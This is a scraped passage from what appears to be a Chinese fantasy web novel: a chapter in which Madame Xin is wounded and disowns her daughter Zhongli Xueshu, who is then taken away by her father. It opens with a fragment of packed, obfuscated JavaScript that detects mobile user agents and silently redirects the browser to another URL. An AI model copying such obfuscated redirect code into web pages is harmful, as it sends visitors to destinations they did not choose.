l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15284321|165497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身穿过她的胸口,倒下时,辛朝从身后搂住她身体,但经不住辛夫人往下沉,辛朝顺着她跪坐在地,颤声道:“娘……” 众人愣在原地,谁也没想到,辛夫人会如此及时赶到。 辛澈沉声喝道:“钟离雪姝!” 听到喊自己名字的钟离雪姝微眨眼,怔怔看着辛夫人,似丢了魂魄。 只是一瞬,她眼中凝起困惑,转而变成委屈,再接着,她大笑起来。 她虽是笑着,笑声却并不令人感到开心。 阙音闪至屋檐,将弓箭手全部定住,走至辛夫人身后,为她灌输神力疗伤。 钟离雪姝停住笑声,喃喃自语道:“为何?” “这么多年来,我听话懂事,刻苦修炼,只为讨得你欢心,只为……你不要将我抛下……” “为何你眼中只有他们,为何同是你的女儿,你却爱她胜过爱我。” “娘?究竟为何?” 此话一出,除了荒歧弟子震惊,其余人皆是了然之色。 辛夫人轻轻喘着气,往日里温和的脸冷下来,“你伤我孩子,绝不能为我容忍……从此以后,我们母女……恩断义绝……” 钟离雪姝慌了神,不敢置信般踉跄后退,跌坐在地,嘴唇微微张合,哽咽道:“终究是我输了。” 白觉上前一步,长剑指向钟离雪姝,钟离雪姝早已没了方才的凌厉,对于白觉的举动无动于衷。 辛誉坐在地上,怔怔看着这一切。 怪不得钟离雪姝要抓阿姐。 怪不得钟离雪姝如此恨他。 眼前结界消失,辛誉站起身,走到钟离雪姝身旁。 辛誉张开干裂嘴唇,道:“你关我三年,伤我三年,也该承担恶果了。” “让世人看看,你钟离雪姝害死多少无辜的人。” “让世人看看,泽生到底是一个什么样的地方。” 钟离雪姝眼睫微颤,声音沙哑,“这正是我想要的结果。” 她抬眼望他,道:“你以为是谁放的火,又是谁解开的铁链。”低头,自嘲一笑,“我放你走,不过是为了看看我娘的心。” 辛誉拧眉。 钟离雪姝缓缓转头,看向陷入昏迷的辛夫人,淡淡一笑。 一道剑光突然刺破辛府结界,直逼白觉手中长剑,剑身瞬间碎裂,掉落在地。 白觉被跑过来的阙音一把拽住,拉向身后,阙音张开手臂,挡在辛誉和白觉身前。 清越居屋檐上出现一位身着水绿长袍的男人,他头戴莲花冠,神情威严。 莲花冠。 是泽生的人。 男子视线落在辛夫人身上,又看向坐在地上的钟离雪姝,目光寒冷。 钟离雪姝抬头望他,神色疑惑,恍惚喊道:“爹。” 钟离乐飞下屋檐,扶起钟离雪姝,眨眼的功夫,连带着灯笼和弓箭手一起消失。 阙音放下手臂,道:“回到泽生,钟离雪姝便不好对付了,辛誉,你有何打算?” 辛誉紧握拳头,眉目间流露出几分挣扎,道:“她若再做伤天害理之事,我绝不放过。” 阙音道:“辛夫人已无大碍,让大夫调养几个月即可。” 又对沉默的白觉道:“辛府的报酬你记得拿走。” 听着阙音的叮嘱,辛誉心口骤然慌了一下,问道:“你要去哪?” 阙音没有回答,飞至屋檐离开。